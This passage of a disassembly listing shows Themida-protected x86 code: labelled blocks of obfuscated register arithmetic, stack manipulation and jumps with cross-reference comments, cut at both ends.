		jmp	loc_5599DE
; ---------------------------------------------------------------------------


loc_5558E7:				; CODE XREF: Themida_:00558514j
		sub	eax, 0B247BC0h
		add	eax, edx
		jmp	loc_5557F9
; ---------------------------------------------------------------------------


loc_5558F3:				; CODE XREF: Themida_:0055943Cj
		mov	[esp], eax
		mov	eax, 202D4495h
		jmp	loc_55A659
; ---------------------------------------------------------------------------


loc_555900:				; CODE XREF: Themida_:0055582Fj
		push	2260h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_554F03
; ---------------------------------------------------------------------------


loc_555915:				; CODE XREF: Themida_:00556FF3j
		sub	edi, 0FF1435ADh
		add	edx, edi
		pop	edi
		jmp	loc_557E7B
; ---------------------------------------------------------------------------


loc_555923:				; CODE XREF: Themida_:005574C6j
		mov	ecx, 2
		add	ebx, 6951F70h
		add	ebx, ecx
		push	eax
		mov	eax, 6951F70h
		jmp	loc_558552
; ---------------------------------------------------------------------------


loc_55593B:				; CODE XREF: Themida_:005564ACj
		mov	[esp], edi
		jmp	loc_5597E5
; ---------------------------------------------------------------------------


loc_555943:				; CODE XREF: Themida_:0055D337j
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_5525BA
; ---------------------------------------------------------------------------


loc_55594E:				; CODE XREF: Themida_:005576A1j
		sub	edx, 6D10631Fh
		mov	edi, [esp]
		jmp	loc_55378C
; ---------------------------------------------------------------------------


loc_55595C:				; CODE XREF: Themida_:0055C227j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	19B4h
		mov	[esp], eax
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 15BA4990h
		xor	[esp+4], edi
		pop	edi
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_556845
; ---------------------------------------------------------------------------


loc_555997:				; CODE XREF: Themida_:005541C2j
		pop	edx
		add	ecx, 12EC35CEh
		add	ecx, edx
		sub	ecx, 12EC35CEh
		pop	edx
		push	2E46h
		mov	[esp], ecx
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_55A103
; ---------------------------------------------------------------------------


loc_5559B9:				; CODE XREF: Themida_:00551F92j
		add	esp, 4
		add	al, bl
		add	al, 88h
		mov	bx, [esp]
		add	esp, 2
		sub	al, 0D2h
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55CE9D
; ---------------------------------------------------------------------------


loc_5559D4:				; CODE XREF: Themida_:005569EFj
		sub	ebp, 618BB797h
		mov	edx, ebp
		pop	ebp
		add	edx, esi
		pop	esi
		add	ecx, edx
		pop	edx
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		pop	esp
		mov	ax, [esp]
		jmp	loc_55743B
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0F8h
		sub	al, 6Eh
		sub	al, bl
		add	al, 6Eh
		jmp	loc_5593F7
; ---------------------------------------------------------------------------


loc_555A04:				; CODE XREF: Themida_:005598C4j
		pop	esp
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_555A0A:				; CODE XREF: Themida_:0055AD60j
		xor	edx, [esp]
		pop	esp
		push	1F99h
		mov	[esp], edi
		push	edx
		push	4E986440h
		mov	edx, [esp]
		add	esp, 4
		mov	edi, 4E986450h
		xor	edi, edx
		pop	edx
		and	ebx, edi
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		push	33B1h
		mov	[esp], eax
		push	ebx
		jmp	loc_55BC1C
; ---------------------------------------------------------------------------


loc_555A49:				; CODE XREF: Themida_:00557FF8j
		mov	esp, [esp]
		jmp	loc_553A80
; ---------------------------------------------------------------------------


loc_555A51:				; CODE XREF: Themida_:0055BE52j
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		jmp	loc_55A95F
; ---------------------------------------------------------------------------


loc_555A79:				; CODE XREF: Themida_:00556E3Fj
		add	bl, al
		jmp	loc_55D3D2
; ---------------------------------------------------------------------------


loc_555A80:				; CODE XREF: Themida_:00553B49j
		add	bl, 55h
		add	bl, 4Fh
		jmp	loc_553E1F
; ---------------------------------------------------------------------------


loc_555A8B:				; CODE XREF: Themida_:00554459j
		mov	esp, [esp]
		jmp	loc_55713C
; ---------------------------------------------------------------------------


loc_555A93:				; CODE XREF: Themida_:005554F3j
		pop	ebp
		push	edx
		mov	edx, 26426DFh
		shl	edx, 7
		push	esi
		mov	esi, 2CA733EDh
		and	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 67BC73BEh
		shl	ebp, 2
		and	ebp, 5FFE5711h
		xor	ebp, 4EA0589Fh
		shl	ebp, 6
		xor	ebp, 0CBFB7F44h
		jmp	loc_552FB8
; ---------------------------------------------------------------------------


loc_555AC9:				; CODE XREF: Themida_:00552BC3j
		mov	esi, 4
		add	edx, esi
		pop	esi
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 2
		jmp	loc_554F34
; ---------------------------------------------------------------------------


loc_555AE8:				; CODE XREF: Themida_:00557609j
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_555AF6:				; CODE XREF: Themida_:00556CDDj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		xchg	ebp, [esp]
		not	ebp
		xchg	ebp, [esp]
		pop	ebx
		xor	ebx, 7DCE412Eh
		add	esi, ebx
		mov	ebx, [esp]
		jmp	loc_55B9C5
; ---------------------------------------------------------------------------


loc_555B22:				; CODE XREF: Themida_:0055DE0Bj
		add	edi, edx
		pop	edx
		push	6CD7h
		mov	[esp], edi
		push	dword ptr [esp+4]
		jmp	loc_555695
; ---------------------------------------------------------------------------


loc_555B36:				; CODE XREF: Themida_:0055652Ej
		add	esp, 4
		jmp	loc_55954B
; ---------------------------------------------------------------------------


loc_555B41:				; CODE XREF: Themida_:00553C9Aj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55A2AE
; ---------------------------------------------------------------------------


loc_555B4F:				; CODE XREF: Themida_:00557A5Cj
		pop	ebx
		shr	eax, 1
		shl	eax, 8
		xor	eax, 679FBE02h
		jmp	loc_5584F0
; ---------------------------------------------------------------------------


loc_555B5F:				; CODE XREF: Themida_:0055C4BBj
		add	ebp, 645F6D16h
		jmp	loc_554431
; ---------------------------------------------------------------------------


loc_555B6A:				; CODE XREF: Themida_:00551C19j
		pop	ebx
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		jmp	loc_5572D7
; ---------------------------------------------------------------------------


loc_555B7B:				; CODE XREF: Themida_:0055779Bj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_55DAC3
; ---------------------------------------------------------------------------


loc_555B95:				; CODE XREF: Themida_:005550DEj
		not	al
		jmp	loc_559AAD
; ---------------------------------------------------------------------------


loc_555B9C:				; CODE XREF: Themida_:00557296j
		mov	ecx, 1E4A46FCh
		jmp	loc_556939
; ---------------------------------------------------------------------------


loc_555BA6:				; CODE XREF: Themida_:0055C7F4j
		pop	ecx
		sub	edi, 4
		jmp	loc_55BDCC
; ---------------------------------------------------------------------------


loc_555BAF:				; CODE XREF: Themida_:0055DDCBj
		shl	ecx, 1
		neg	ecx
		xor	ecx, 0D7194D23h
		sub	ebx, 279E7CC2h
		add	ebx, ecx
		add	ebx, 279E7CC2h
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5560C2
; ---------------------------------------------------------------------------


loc_555BD5:				; CODE XREF: Themida_:0055C208j
		dec	ebx
		inc	ebx
		inc	ebx
		jmp	loc_55DDBB
; ---------------------------------------------------------------------------


loc_555BDD:				; CODE XREF: Themida_:0055B213j
		add	esi, 214EAFBCh
		add	edi, esi
		pop	esi
		jmp	loc_55BC89
; ---------------------------------------------------------------------------


loc_555BEB:				; CODE XREF: Themida_:0055B8F3j
		push	eax
		mov	eax, 4
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		jmp	loc_55B4CF
; ---------------------------------------------------------------------------


loc_555C15:				; CODE XREF: Themida_:00552F62j
		push	edi
		mov	edi, 59C2338Dh
		neg	edi
		dec	edi
		jmp	loc_559EAE
; ---------------------------------------------------------------------------


loc_555C23:				; CODE XREF: Themida_:0055844Fj
		push	509171BEh
		mov	ecx, [esp]
		add	esp, 4
		neg	ecx
		push	esi
		mov	esi, 1
		jmp	loc_559ED0
; ---------------------------------------------------------------------------


loc_555C3B:				; CODE XREF: Themida_:0055C2F1j
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 5C557F8Ch
		jmp	loc_552BC8
; ---------------------------------------------------------------------------


loc_555C4F:				; CODE XREF: Themida_:00555753j
		xor	edx, 228A32C3h
		sub	edx, 2B8B3B9Ah
		jmp	loc_5594B3
; ---------------------------------------------------------------------------


loc_555C60:				; CODE XREF: Themida_:0055AF82j
		mov	[esp], eax
		mov	ah, 12h
		sub	ah, 91h
		jmp	loc_554FA2
; ---------------------------------------------------------------------------


loc_555C6D:				; CODE XREF: Themida_:0055B2F3j
		neg	cl
		sub	cl, 11h
		or	cl, 7Eh
		add	cl, 7Fh
		jmp	loc_557CE0
; ---------------------------------------------------------------------------


loc_555C7D:				; CODE XREF: Themida_:005591DBj
		shr	edi, 1
		xchg	ebx, edi
		not	ebx
		xchg	ebx, edi
		xor	edi, 0B602B0Eh
		inc	edi
		jmp	loc_5587F4
; ---------------------------------------------------------------------------


loc_555C91:				; CODE XREF: Themida_:00557A89j
		pop	edx
		jmp	loc_55521E
; ---------------------------------------------------------------------------


loc_555C97:				; CODE XREF: Themida_:005521BCj
		mov	[esp], eax
		mov	eax, 4
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		or	ecx, ecx
		jz	loc_559E64
		push	5E7Ch
		push	esp
		pop	dword ptr [esp]
		push	3C73h
		mov	[esp], eax
		mov	eax, 4F1C0339h
		add	eax, 48F173B2h
		xor	eax, 649D13A5h
		jmp	loc_55C9A3
; ---------------------------------------------------------------------------


loc_555CDA:				; CODE XREF: Themida_:0055359Ej
		and	ebx, 1FE271FDh
		sub	ebx, 17E26180h
		sub	ebx, 16240978h
		sub	ebx, 53450A21h
		add	ebx, edi
		add	ebx, 53450A21h
		add	ebx, 16240978h
		push	dword ptr [ebx]
		xor	dword ptr [esp], 1C6C1312h
		pop	ecx
		push	esi
		mov	esi, 1C6C1312h
		xor	ecx, esi
		jmp	loc_551D4F
; ---------------------------------------------------------------------------


loc_555D17:				; CODE XREF: Themida_:00552891j
		sub	eax, 3E405891h
		pop	edx
		pop	ecx
		push	ebp
		jmp	loc_5540B7
; ---------------------------------------------------------------------------


loc_555D24:				; CODE XREF: Themida_:005560D6j
		pop	edx
		add	ecx, 3C0719D1h
		sub	ecx, 2145755h
		jmp	loc_5546BA
; ---------------------------------------------------------------------------


loc_555D36:				; CODE XREF: Themida_:005533ACj
		mov	edx, 4
		add	esi, edx
		mov	edx, [esp]
		add	esp, 4
		push	edx
		mov	edx, 2
		add	esi, edx
		jmp	loc_557B86
; ---------------------------------------------------------------------------


loc_555D53:				; CODE XREF: Themida_:00556820j
		add	ebx, 67C0C5E4h
		sub	eax, ebx
		pop	ebx
		add	eax, ecx
		push	ecx
		mov	ecx, 232162C7h
		dec	ecx
		sub	ecx, 0EC72CA0h
		shr	ecx, 2
		xor	ecx, 3DDCE982h
		add	eax, ecx
		pop	ecx
		pop	ecx
		sub	eax, ebx
		sub	eax, 6D157C7Fh
		push	76D5h
		mov	[esp], edi
		mov	edi, 32663818h
		add	eax, edi
		pop	edi
		add	eax, 564838BEh
		sub	eax, 715A2684h
		jmp	loc_557866
; ---------------------------------------------------------------------------


loc_555D9E:				; CODE XREF: Themida_:00558C57j
		pop	dword ptr [esp]
		mov	esp, [esp]
		movzx	ecx, ax
		push	6BD0h
		jmp	loc_55A8F2
; ---------------------------------------------------------------------------


loc_555DB1:				; CODE XREF: Themida_:00553BF5j
		sub	esp, 4
		jmp	loc_55C5F3
; ---------------------------------------------------------------------------


loc_555DBC:				; CODE XREF: Themida_:00557208j
		mov	[esp], ecx
		mov	ecx, 7EBC658Fh
		jmp	loc_552915
; ---------------------------------------------------------------------------


loc_555DC9:				; CODE XREF: Themida_:00551E80j
		mov	ebx, 2
		jmp	loc_5590DF
; ---------------------------------------------------------------------------


loc_555DD3:				; CODE XREF: Themida_:0055812Ej
		add	ebx, ecx
		push	edx
		mov	edx, 221A5032h
		jmp	loc_556429
; ---------------------------------------------------------------------------


loc_555DE0:				; CODE XREF: Themida_:00559B73j
		xchg	edi, [esp]
		mov	esp, [esp]
		shl	word ptr [esp],	cl
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_555DF0:				; CODE XREF: Themida_:0055A7ACj
		add	esp, 2
		sub	esp, 4
		mov	[esp], edx
		push	4B3Dh
		mov	[esp], ecx
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_556F94
; ---------------------------------------------------------------------------


loc_555E0F:				; CODE XREF: Themida_:0055AA5Ej
		mov	ebp, ebx
		pop	ebx
		pop	ecx
		mov	edi, [esp]
		add	esp, 4
		and	ecx, ebp
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		add	esp, 4
		shr	ecx, 7
		jmp	loc_55BD03
; ---------------------------------------------------------------------------


loc_555E36:				; CODE XREF: Themida_:0055381Dj
		push	ebp
		mov	ebp, 4039442Ah
		mov	edi, 5163D5B9h
		sub	edi, ebp
		pop	ebp
		push	eax
		mov	eax, 642551B1h
		sub	ebx, 7D0D2B7Ch
		sub	ebx, eax
		add	ebx, 7D0D2B7Ch
		jmp	loc_55B468
; ---------------------------------------------------------------------------


loc_555E5D:				; CODE XREF: Themida_:00556DC3j
		mov	edi, 2D641BDCh
		sub	[esp+4], edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, [esp]
		jmp	loc_55790E
; ---------------------------------------------------------------------------


loc_555E74:				; CODE XREF: Themida_:00553374j
		mov	edi, [esp]
		add	esp, 4
		xchg	edx, [esp]
		jmp	loc_556F08
; ---------------------------------------------------------------------------


loc_555E82:				; CODE XREF: Themida_:00557D0Bj
		mov	[esp], ecx
		mov	ecx, 15D99EFCh
		sub	edx, ecx
		pop	ecx
		add	edi, edx
		pop	edx
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 12521886h
		add	eax, ecx
		jmp	loc_55BDDA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_555EA4:				; CODE XREF: sub_55656B-1286j
		pop	eax
		or	dl, cl
		pop	ecx
		or	dl, 7Eh
		jmp	loc_5563A1
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_555EB0:				; CODE XREF: Themida_:0055C031j
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55D254
; ---------------------------------------------------------------------------


loc_555EBC:				; CODE XREF: Themida_:00553E7Bj
		xor	ebp, 74157B76h
		push	ecx
		mov	ecx, 73DA0A66h
		add	ecx, 559C4B42h
		sub	ecx, 89CD0B6Dh
		jmp	loc_55B5C6
; ---------------------------------------------------------------------------


loc_555ED9:				; CODE XREF: Themida_:00557EBFj
		sub	ecx, 2FB3D7FDh
		xor	esi, ecx
		push	dword ptr [esp]
		jmp	loc_55CB33
; ---------------------------------------------------------------------------


loc_555EE9:				; CODE XREF: Themida_:00552D53j
		mov	eax, edi
		jmp	loc_5588B1
; ---------------------------------------------------------------------------


loc_555EF0:				; CODE XREF: Themida_:005551F5j
		add	edx, 5587E64h
		jmp	loc_5589FC
; ---------------------------------------------------------------------------


loc_555EFB:				; CODE XREF: Themida_:00556EFAj
		push	ecx
		mov	ecx, 35DF4569h
		jmp	loc_5578DF
; ---------------------------------------------------------------------------


loc_555F06:				; CODE XREF: Themida_:0055516Bj
		pop	esi
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55280E
; ---------------------------------------------------------------------------


loc_555F15:				; CODE XREF: Themida_:005598EAj
		push	esp
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_553353
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	esp, 4
		jmp	loc_55DD8A
; ---------------------------------------------------------------------------


loc_555F37:				; CODE XREF: Themida_:00556AB5j
		add	esp, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		jmp	loc_55CC60
; ---------------------------------------------------------------------------


loc_555F4F:				; CODE XREF: Themida_:0055CA08j
		shl	ebx, 4
		add	ebx, 0F9B893C1h
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		push	ecx
		jmp	loc_556E44
; ---------------------------------------------------------------------------


loc_555F79:				; CODE XREF: Themida_:00559C8Bj
		sub	esi, 60DA6F48h
		sub	esi, 9F175145h
		and	ebx, esi
		pop	esi
		or	ebx, 32E081Ch
		sub	ebx, 0E593589Ch
		jmp	loc_55D2AA
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5588FC
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	edx
		push	esp
		jmp	loc_55DD92
; ---------------------------------------------------------------------------


loc_555FB0:				; CODE XREF: Themida_:00554F11j
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_555FB5:				; CODE XREF: Themida_:0055805Fj
		pop	ecx
		pop	ebp
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		not	esi
		push	ebx
		mov	ebx, 3AED61CFh
		or	ebx, 60C2756Ah
		jmp	loc_55372F
; ---------------------------------------------------------------------------


loc_555FD0:				; CODE XREF: Themida_:0055C01Aj
		not	dword ptr [esp]
		pop	ebp
		jmp	loc_558E87
; ---------------------------------------------------------------------------


loc_555FD9:				; CODE XREF: Themida_:005572BAj
		push	edx
		push	ecx
		jmp	loc_553EF2
; ---------------------------------------------------------------------------


loc_555FE0:				; CODE XREF: Themida_:0055D688j
		pop	esi
		xor	edi, [esp]
		jmp	loc_55AAA8
; ---------------------------------------------------------------------------


loc_555FE9:				; CODE XREF: Themida_:005574DBj
		sub	edx, 0FE8F4669h
		jmp	loc_552BF1
; ---------------------------------------------------------------------------


loc_555FF4:				; CODE XREF: Themida_:00559EDEj
		pop	esi
		neg	ecx
		push	77D6h
		mov	[esp], ebp
		push	esi
		mov	esi, 0BC53354h
		push	ecx
		mov	ecx, 9F7BC1h
		add	ecx, 45A2645h
		dec	ecx
		jmp	loc_55BA6B
; ---------------------------------------------------------------------------


loc_556017:				; CODE XREF: Themida_:00559073j
		mov	ecx, 505D1951h
		xor	ecx, 0E7E60D1h
		xor	ecx, 5E237982h
		add	ebp, ecx
		jmp	loc_554BCA
; ---------------------------------------------------------------------------


loc_55602F:				; CODE XREF: Themida_:00553CC5j
		mov	ebp, esp
		push	esi
		push	70EFh
		jmp	loc_55A2B8
; ---------------------------------------------------------------------------


loc_55603C:				; CODE XREF: Themida_:00554D95j
		sub	esi, 27C316D9h
		neg	esi
		sub	esi, 37740663h
		push	ebp
		mov	ebp, 75D13ED8h
		not	ebp
		jmp	loc_554287
; ---------------------------------------------------------------------------


loc_556057:				; CODE XREF: Themida_:0055AB62j
		add	ebp, 14E76E04h
		add	ecx, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_55C674
; ---------------------------------------------------------------------------


loc_55606B:				; CODE XREF: Themida_:0055CB20j
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_559B41
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		jmp	loc_55B15B
; ---------------------------------------------------------------------------


loc_556083:				; CODE XREF: Themida_:005586C4j
		sub	esi, 13835746h
		sub	edi, esi
		jmp	loc_55DAAC
; ---------------------------------------------------------------------------


loc_556090:				; CODE XREF: Themida_:0055D0C5j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_55609B:				; CODE XREF: Themida_:00554EF1j
		shr	si, 5
		jmp	loc_5596BB
; ---------------------------------------------------------------------------
		mov	eax, [esp]
		push	62DBh
		mov	[esp], ecx
		push	edi
		jmp	loc_5563D3
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	small 6190h
		jmp	loc_55D6CC
; ---------------------------------------------------------------------------


loc_5560C2:				; CODE XREF: Themida_:00555BD0j
		add	ebx, 37B868CEh
		push	ecx
		mov	ecx, 31A72F99h
		push	edx
		mov	edx, 7250885h
		or	ecx, edx
		jmp	loc_555D24
; ---------------------------------------------------------------------------


loc_5560DB:				; CODE XREF: Themida_:0055D35Fj
		mov	bx, 47C4h
		push	esi
		jmp	loc_55340A
; ---------------------------------------------------------------------------


loc_5560E5:				; CODE XREF: Themida_:00553A35j
		xor	edx, edi
		pop	edi
		add	ebp, edx
		pop	edx
		mov	edx, ebp
		jmp	loc_557FA9
; ---------------------------------------------------------------------------


loc_5560F2:				; CODE XREF: Themida_:00558DE2j
		push	ebp
		mov	ebp, 4
		add	[esp+4], ebp
		pop	ebp
		jmp	loc_553B02
; ---------------------------------------------------------------------------


loc_556102:				; CODE XREF: Themida_:0055A0F3j
		mov	[esp], ebp
		mov	ebp, esp
		push	4A47h
		mov	[esp], ecx
		mov	ecx, 3EC05B9Ah
		sub	ecx, 1
		push	eax
		jmp	loc_55E03C
; ---------------------------------------------------------------------------


loc_556120:				; CODE XREF: Themida_:005586ADj
		add	ebx, 4
		jmp	loc_554CE4
; ---------------------------------------------------------------------------


loc_55612B:				; CODE XREF: Themida_:0055B7E2j
		push	cx
		pushf
		jmp	loc_551A0A
; ---------------------------------------------------------------------------


loc_556133:				; CODE XREF: Themida_:0055DC59j
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	255Ch
		mov	[esp], eax
		push	ecx
		mov	ecx, 360D4B9Ah
		shr	ecx, 4
		sub	ecx, 360D4B7h
		mov	eax, ecx
		mov	ecx, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		add	esi, eax
		mov	eax, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_55DC93
; ---------------------------------------------------------------------------


loc_556183:				; CODE XREF: Themida_:0055DA52j
		sub	edx, 735C1DBAh
		add	edx, edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 744B3609h
		jmp	loc_551C4E
; ---------------------------------------------------------------------------


loc_55619E:				; CODE XREF: Themida_:00556E60j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		push	edi
		mov	edi, 4
		sub	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_55A6B6
; ---------------------------------------------------------------------------


loc_5561C1:				; CODE XREF: Themida_:0055630Ej
		xor	ebx, 2A3284ADh
		sub	edx, ebx
		jmp	loc_55832B
; ---------------------------------------------------------------------------


loc_5561CE:				; CODE XREF: Themida_:00556BE5j
		add	edx, 1E4B51DFh
		jmp	loc_5541ED
; ---------------------------------------------------------------------------


loc_5561D9:				; CODE XREF: Themida_:005520B9j
		pop	ecx
		neg	ebx
		or	ebx, 36AF6987h
		sub	ebx, 0BFFFF9E5h
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_55B1C3
; ---------------------------------------------------------------------------


loc_5561F3:				; CODE XREF: Themida_:005520EFj
		add	ebp, 4
		jmp	loc_55A871
; ---------------------------------------------------------------------------


loc_5561FE:				; CODE XREF: Themida_:00555152j
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_55BE6A
; ---------------------------------------------------------------------------


loc_55620A:				; CODE XREF: Themida_:0055B353j
		sub	ebp, 0C071B887h
		add	edx, ebp
		pop	ebp
		jmp	loc_55A4F5
; ---------------------------------------------------------------------------


loc_556218:				; CODE XREF: Themida_:00557929j
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		push	2D05h
		mov	[esp], edi
		mov	edi, 3C6E3599h
		neg	edi
		not	edi
		and	edi, 92711FBh
		not	edi
		sub	edi, 62D1B3Ah
		sub	edi, 9B35A746h
		sub	ebx, edi
		pop	edi
		jmp	loc_55517E
; ---------------------------------------------------------------------------


loc_55624A:				; CODE XREF: Themida_:0055C03Ej
		mov	ecx, 527F5EC6h
		and	ecx, 6F287037h
		shr	ecx, 5
		and	ecx, 3839266Eh
		jmp	loc_55482E
; ---------------------------------------------------------------------------


loc_556263:				; CODE XREF: Themida_:0055C70Aj
		push	edi
		mov	edi, 4
		sub	edx, 369F3A17h
		add	edx, edi
		push	ebx
		jmp	loc_5570F9
; ---------------------------------------------------------------------------


loc_556277:				; CODE XREF: Themida_:0055665Cj
		movzx	cx, ah
		push	small 61C8h
		mov	[esp], cx
		jmp	loc_55B7DE
; ---------------------------------------------------------------------------


loc_556288:				; CODE XREF: Themida_:00555619j
		pop	ebp
		sub	ebp, 9ADF18C8h
		mov	ebx, ebp
		pop	ebp
		dec	ebx
		jmp	loc_553492
; ---------------------------------------------------------------------------


loc_556298:				; CODE XREF: Themida_:00557436j
		pop	esi
		dec	esi
		jmp	loc_55917B
; ---------------------------------------------------------------------------


loc_55629F:				; CODE XREF: Themida_:00554D15j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	edx, 2
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		mov	ax, [esp]
		push	2337h
		mov	[esp], edi
		jmp	loc_55DC26
; ---------------------------------------------------------------------------


loc_5562CA:				; CODE XREF: Themida_:0055DE2Ej
		push	350635F6h
		pop	ecx
		neg	ecx
		jmp	loc_55D43B
; ---------------------------------------------------------------------------


loc_5562D7:				; CODE XREF: Themida_:00551D78j
		pop	ebp
		add	ebp, 909264A9h
		jmp	loc_55ADA9
; ---------------------------------------------------------------------------


loc_5562E3:				; CODE XREF: Themida_:005546EEj
		sub	bl, 0DBh
		push	eax
		mov	ah, 74h
		add	bl, 1Bh
		push	ecx
		mov	cl, 69h
		jmp	loc_553C43
; ---------------------------------------------------------------------------


loc_5562F4:				; CODE XREF: Themida_:00556B9Fj
		add	edx, eax
		sub	edx, 2F346D73h
		sub	edx, 3DAB72F4h
		push	ebx
		mov	ebx, 160026A1h
		sub	ebx, 5946DF7h
		jmp	loc_5561C1
; ---------------------------------------------------------------------------


loc_556313:				; CODE XREF: Themida_:005580CCj
		push	3C84h
		mov	[esp], ecx
		jmp	loc_55D72A
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_55B39E
; ---------------------------------------------------------------------------


loc_556328:				; CODE XREF: Themida_:0055BAF7j
		mov	eax, esp
		jmp	loc_55C70F
; ---------------------------------------------------------------------------


loc_55632F:				; CODE XREF: Themida_:00553872j
		add	edi, 4
		jmp	loc_55B453
; ---------------------------------------------------------------------------


loc_55633A:				; CODE XREF: Themida_:0055BDDBj
		push	22BAh
		mov	[esp], ebx
		push	edi
		mov	edi, 3F0A1DDDh
		add	edi, 0FFFFFFFFh
		jmp	loc_55492C
; ---------------------------------------------------------------------------


loc_556350:				; CODE XREF: Themida_:0055D4DDj
		sub	esp, 4
		mov	[esp], ebx
		push	ecx
		mov	ch, 4Ah
		push	edx
		jmp	loc_55B004
; ---------------------------------------------------------------------------


loc_55635F:				; CODE XREF: Themida_:00553DF1j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_557EBA
; ---------------------------------------------------------------------------


loc_55636E:				; CODE XREF: Themida_:00558398j
		pop	edi
		jmp	loc_55D6F4
; ---------------------------------------------------------------------------


loc_556374:				; CODE XREF: Themida_:00552859j
		push	dword ptr [ebx]
		pop	ecx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5532EA
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	334Ch
		mov	[esp], esi
		jmp	loc_55B259
; ---------------------------------------------------------------------------


loc_556393:				; CODE XREF: Themida_:0055B0A7j
		neg	bh
		jmp	loc_55B6DA
; ---------------------------------------------------------------------------


loc_55639A:				; CODE XREF: Themida_:0055262Aj
		add	dh, ah
		jmp	loc_55BA5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55656B


loc_5563A1:				; CODE XREF: sub_55656B-6C0j
		push	ax
		mov	al, 0B4h
		or	dl, al
		jmp	loc_5523A2
; END OF FUNCTION CHUNK	FOR sub_55656B
; ---------------------------------------------------------------------------


loc_5563AC:				; CODE XREF: Themida_:0055A76Ej
		mov	ebx, 7AEC0B87h
		xor	ebx, 1AB276D0h
		xor	ebp, ebx
		pop	ebx
		not	ebp
		xor	ebp, 75B801F6h
		sub	esi, ebp
		jmp	loc_55DF4E
; ---------------------------------------------------------------------------


loc_5563C9:				; CODE XREF: Themida_:005582F4j
		push	845h
		jmp	loc_559326
; ---------------------------------------------------------------------------


loc_5563D3:				; CODE XREF: Themida_:005560B0j
